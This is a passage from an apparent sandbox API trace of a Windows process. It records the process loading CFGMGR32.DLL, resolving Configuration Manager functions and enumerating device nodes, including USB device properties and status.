0x7ffa786e14b0 [0182.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.888] malloc (_Size=0x18) returned 0x196ef0d1d20 [0182.888] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.985] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dec53d1, dwHighDateTime=0x1d9eb0c)) [0182.986] SetEvent (hEvent=0x248) returned 1 [0182.987] SetEvent (hEvent=0x248) returned 1 [0182.987] free (_Block=0x196ef0cc850) [0182.987] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.987] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dec53d1, dwHighDateTime=0x1d9eb0c)) [0182.987] SetEvent (hEvent=0x248) returned 1 [0182.988] SetEvent (hEvent=0x248) returned 1 [0182.988] free (_Block=0x196ef0cc850) [0182.989] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.990] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dec53d1, dwHighDateTime=0x1d9eb0c)) [0182.990] SetEvent (hEvent=0x248) returned 1 [0182.990] SetEvent (hEvent=0x248) returned 1 [0182.991] free (_Block=0x196ef0cc850) [0182.991] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0182.991] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dec53d1, dwHighDateTime=0x1d9eb0c)) [0182.991] SetEvent (hEvent=0x248) returned 1 [0182.993] SetEvent (hEvent=0x248) returned 1 [0182.993] free (_Block=0x196ef0cc850) [0182.994] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.995] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4deeb6f5, dwHighDateTime=0x1d9eb0c)) [0182.995] SetEvent (hEvent=0x248) returned 1 [0182.996] SetEvent (hEvent=0x248) returned 1 [0182.997] free (_Block=0x196ef0ccda0) [0182.997] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x12, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0182.997] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.997] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4deeb6f5, dwHighDateTime=0x1d9eb0c)) [0182.997] SetEvent (hEvent=0x248) returned 1 [0182.999] SetEvent (hEvent=0x248) returned 1 [0182.999] free (_Block=0x196ef0ccda0) [0182.999] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x12, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0182.999] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4deeb6f5, dwHighDateTime=0x1d9eb0c)) [0182.999] SetEvent (hEvent=0x248) returned 1 [0183.000] SetEvent (hEvent=0x248) returned 1 [0183.001] free (_Block=0x196ef0cd160) [0183.001] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x12, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.009] malloc (_Size=0x48) returned 0x196ef0ccda0 [0183.009] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4deeb6f5, dwHighDateTime=0x1d9eb0c)) [0183.009] SetEvent (hEvent=0x248) returned 1 [0183.011] SetEvent (hEvent=0x248) returned 1 [0183.012] free (_Block=0x196ef0ccda0) [0183.012] CM_Get_Device_IDA (in: dnDevInst=0x13, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_0A81&PID_0203\\28754") returned 0x0 [0183.012] malloc (_Size=0x48) returned 0x196ef0cc850 [0183.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4df119eb, dwHighDateTime=0x1d9eb0c)) [0183.012] SetEvent (hEvent=0x248) returned 1 [0183.013] SetEvent (hEvent=0x248) returned 1 [0183.014] free (_Block=0x196ef0cc850) [0183.014] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0183.014] malloc (_Size=0x6c) returned 0x196ef0d2120 [0183.014] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d2120, pulLength=0x67117d608) returned 0x0 [0183.014] free (_Block=0x196ef0d2120) [0183.014] malloc (_Size=0x48) returned 0x196ef0cc850 [0183.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4df119eb, dwHighDateTime=0x1d9eb0c)) [0183.015] SetEvent (hEvent=0x248) returned 1 [0183.015] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0183.015] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0183.015] free (_Block=0x196ef0d1cc0) [0183.015] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0183.015] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0183.015] free (_Block=0x196ef0d1fa0) [0183.015] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8562e0 [0183.015] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0183.015] SafeArrayGetLBound (in: psa=0x196ef1f2830, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0183.015] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0183.016] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6590 [0183.016] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0183.016] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0183.016] SafeArrayGetElemsize (psa=0x196ef1f2830) returned 0x8 [0183.016] SafeArrayGetElement (in: psa=0x196ef1f2830, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0183.017] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.017] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.017] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6590) returned 1 [0183.017] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8562e0) returned 1 [0183.018] SetEvent (hEvent=0x248) returned 1 [0183.018] free (_Block=0x196ef0cc850) [0183.018] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0183.018] malloc (_Size=0x90) returned 0x196ef0d31b0 [0183.018] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d31b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d31b0, pulLength=0x67117d608) returned 0x0 [0183.019] free (_Block=0x196ef0d31b0) [0183.019] malloc (_Size=0x48) returned 0x196ef0ccda0 [0183.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4df119eb, dwHighDateTime=0x1d9eb0c)) [0183.019] SetEvent (hEvent=0x248) returned 1 [0183.019] malloc (_Size=0x18) returned 0x196ef0d1d80 [0183.019] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee7b9bf8) returned 0x0 [0183.019] free (_Block=0x196ef0d1d80) [0183.019] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0183.019] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0183.019] free (_Block=0x196ef0d1ba0) [0183.019] malloc (_Size=0x18) returned 0x196ef0d1fa0 [0183.019] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0183.020] free (_Block=0x196ef0d1fa0) [0183.020] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0183.020] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0183.020] SafeArrayGetLBound (in: psa=0x196ef1f2830, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0183.020] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0183.020] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b62c0 [0183.020] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0183.020] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0183.020] SafeArrayGetElemsize (psa=0x196ef1f2830) returned 0x8 [0183.020] SafeArrayGetElement (in: psa=0x196ef1f2830, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0183.020] memcpy (in: _Dst=0x67117d268, _Src=0x196ee833710, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.021] memcpy (in: _Dst=0x67117d268, _Src=0x196ee833718, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.021] memcpy (in: _Dst=0x67117d268, _Src=0x196ee833720, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0183.021] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b62c0) returned 1 [0183.021] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0183.022] SetEvent (hEvent=0x248) returned 1 [0183.022] free (_Block=0x196ef0ccda0) [0183.022] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.025] malloc (_Size=0x48) returned 0x196ef0cc850 [0183.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4df119eb, dwHighDateTime=0x1d9eb0c)) [0183.025] SetEvent (hEvent=0x248) returned 1 [0183.026] SetEvent (hEvent=0x248) returned 1 [0183.026] free (_Block=0x196ef0cc850) [0183.108] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.109] malloc (_Size=0x48) returned 0x196ef0fb7c0 [0183.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dff67fb, dwHighDateTime=0x1d9eb0c)) [0183.109] SetEvent (hEvent=0x248) returned 1 [0183.111] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.111] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.115] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.115] malloc (_Size=0x18) returned 0x196ef0d2020 [0183.115] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.115] malloc (_Size=0x48) returned 0x196ef0fb270 [0183.115] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dff67fb, dwHighDateTime=0x1d9eb0c)) [0183.116] SetEvent (hEvent=0x248) returned 1 [0183.118] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.118] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.120] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.121] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.121] malloc (_Size=0x18) returned 0x196ef0d19c0 [0183.121] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.122] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0183.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e01cbab, dwHighDateTime=0x1d9eb0c)) [0183.122] SetEvent (hEvent=0x248) returned 1 [0183.126] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.126] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.127] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.128] malloc (_Size=0x18) returned 0x196ef0d1de0 [0183.129] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x13, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0183.132] malloc (_Size=0x48) returned 0x196ef0fb360 [0183.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4e01cbab, dwHighDateTime=0x1d9eb0c)) [0183.133] SetEvent (hEvent=0x248) returned 1 [0183.135] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.135] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0183.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0183.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0183.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0183.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0183.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0183.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0183.137] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0183.137] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0183.138] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x13, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0183.138] malloc (_Size=0x48) returned 0x196ef0fb270 [0183.138] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4e042f95, dwHighDateTime=0x1d9eb0c)) [0183.138] SetEvent (hEvent=0x248) returned 1 [0183.141] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0183.141] LoadLibraryExW 